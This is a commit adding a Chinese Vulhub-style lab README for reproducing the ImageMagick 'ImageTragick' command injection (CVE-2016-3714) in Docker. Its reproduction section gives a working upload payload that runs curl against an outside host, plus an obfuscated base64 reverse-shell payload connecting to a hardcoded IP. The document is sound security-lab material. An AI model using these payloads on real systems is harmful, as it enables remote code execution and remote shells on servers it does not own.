first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
62
imagemagick/CVE-2016-3714/README.zh-cn.md
Normal file
62
imagemagick/CVE-2016-3714/README.zh-cn.md
Normal file
@@ -0,0 +1,62 @@
|
||||
# ImageMagick Imagetragick 命令注入漏洞(CVE-2016–3714)
|
||||
|
||||
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。
|
||||
|
||||
在ImageMagick版本6.9.3-9之前,对文件名传递给委托的命令过滤不足,导致在转换多种文件格式时存在远程代码执行漏洞。这个漏洞也被叫做“imagetragick”。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://imagetragick.com>
|
||||
- <https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html>
|
||||
- <https://github.com/ImageTragick/PoCs>
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动一个包含了Imagemagick 6.9.2-10的PHP服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
访问`http://your-ip:8080/`即可查看到一个上传组件。
|
||||
|
||||
发送如下数据包:
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: localhost:8080
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
|
||||
Connection: close
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
|
||||
Content-Length: 328
|
||||
|
||||
------WebKitFormBoundarymdcbmdQR1sDse9Et
|
||||
Content-Disposition: form-data; name="file_upload"; filename="1.gif"
|
||||
Content-Type: image/png
|
||||
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.0/oops.jpg"|curl "www.leavesongs.com:8889)'
|
||||
pop graphic-context
|
||||
------WebKitFormBoundarymdcbmdQR1sDse9Et--
|
||||
```
|
||||
|
||||
可见,`www.leavesongs.com:8889`已经接收到http请求,说明curl命令执行成功:
|
||||
|
||||

|
||||
|
||||
反弹shell POC:
|
||||
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjQzLjQ5Lzg4ODkgMD4mMQ== | base64 -d | bash`"||id " )'
|
||||
pop graphic-context
|
||||
```
|
||||
|
||||

|
Reference in New Issue
Block a user